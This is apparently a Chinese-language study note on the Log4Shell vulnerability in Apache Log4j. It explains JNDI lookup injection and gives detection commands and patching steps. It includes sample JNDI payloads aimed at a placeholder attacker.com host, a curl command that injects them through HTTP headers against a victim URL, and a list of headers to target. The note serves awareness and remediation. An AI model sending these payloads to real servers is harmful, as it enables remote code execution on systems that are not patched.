--- tags: security, apache --- # Log4Shell漏洞筆記 參考網路各來源 ## What is Log4j Apache Log4j是一個基於Java的紀錄檔記錄工具 Apache Log4j 2 是對 Log4j 的升級,它比其前身 Log4j 1.x 提供了重大改進,並提供了 Logback 中可用的許多改進,同時修復了 Logback 架構中的一些固有問題 ## CVE-2021-44228 編號CVE-2021-44228的漏洞發生於開源日誌資料庫Log4j。Log4j的JNDI功能可用於組態、紀錄訊息,包含於許多軟體專案中,包括Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Elasticsearch、Logstash等等 CVE-2021-44228的漏洞在於log4j 在記錄 log 時,如果記錄到特定格式的東西,就會去執行相對應的程式碼,藉由一個條件表達式\${some_expression}來查尋某些字串並執行取代動作。 Log4j 是根據配置文件中設定的「模板」來記錄Log的。 例如在模板裡寫 ${date:yyyy-MM-dd},那麽 Log4j 就會將其替換為 2021-12-12 的當前日期記錄下來 Log4j 可查詢的內容包括 jndi、sys、env、java、lower、upper。 JNDI查詢支援的通訊協定包括 LDAP、RMI、DNS 和 IIOP。 所以,駭客可在記錄檔中加入一筆 JNDI 查詢表達式例如 **${jndi:ldap://xxx.attacker.com/exp}** ,如果網址列含有惡意程式則會下載執行。 ## How to find? `dpkg -l |grep log4j` `find / -name log4j-core-*.jar` `locate log4j | grep -v log4js` ## 延伸的弱點 漏洞 CVE-2021-45046、CVE-2021-45105 https://logging.apache.org/log4j/2.x/ Log4j 2.17 CVE-2021-44832 https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/ ## 修補方式 1. 升級至2.17 2. 無法升級者,應將系統屬性log4j2.formatMsgNoLookups參數由”false”改為”true”。 3. 使用2.10以前版本者,則應從classpath移除JndiLookup class,例如執行以下指令: `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` ## 示意圖  Ref:https://blog.csdn.net/hilaryfrank/article/details/121939902 1. 駭客可以在header的任意參數塞payload,只要log會記錄到就好(參考備註1) e.g. `curl -H 'User-Agent: ${jndi:ldap://attacker.com}' -H 'X-Api-Version:${jndi:ldap://attacker.com}' 'victim_url'` 2. 攻擊成功前提是 一、要能解析ldap://**xxx.attacker.com** 的網址 二、能調用java的lookup class 3. Java層Ldap query to localhost:9999,localhost:9999 response 惡意的Codebase地址(localhost:8888/Test.class)給JAVA層 4. Java層 request to localhost:8888/Test.class,下載Test.class回來後在local端執行惡意class ## jndi Java Name and Directory Interface 除了LDAP外,RMI也可以  圖片來源:https://blog.csdn.net/weixin_45677145/article/details/121990244  參考:https://blogs.juniper.net/en-us/threat-research/log4j-vulnerability-attackers-shift-focus-from-ldap-to-rmi RMI(Java Remote Method Invocation) 是Java程式語言裡,一種用於實現遠端程序呼叫的應用程式編程介面。它使client上執行的程式可以呼叫遠端server上的物件。遠端方法呼叫特性使Java編程人員能夠在網路環境中分布操作。RMI全部的宗旨就是儘可能簡化遠端介面物件的使用。 ## Cheetsheet  @therceman --- ### 備註1: **Malicious requests in different headers** User-Agent: Authorization: CF-Connecting_IP: Client-IP: Contact: Cookie: Forwarded-For-Ip: Forwarded-For: Forwarded: From: Originating-IP: Proxy-Client-IP: Referer: True-Client-IP: X-Api-Version: X-Client-IP: X-Client-Ip: X-Forwarded-For: X-Host: X-Originating-Ip: X-Real-IP: X-Remote-Addr: X-Remote-Ip: X-Wap-Profile: Ref: https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.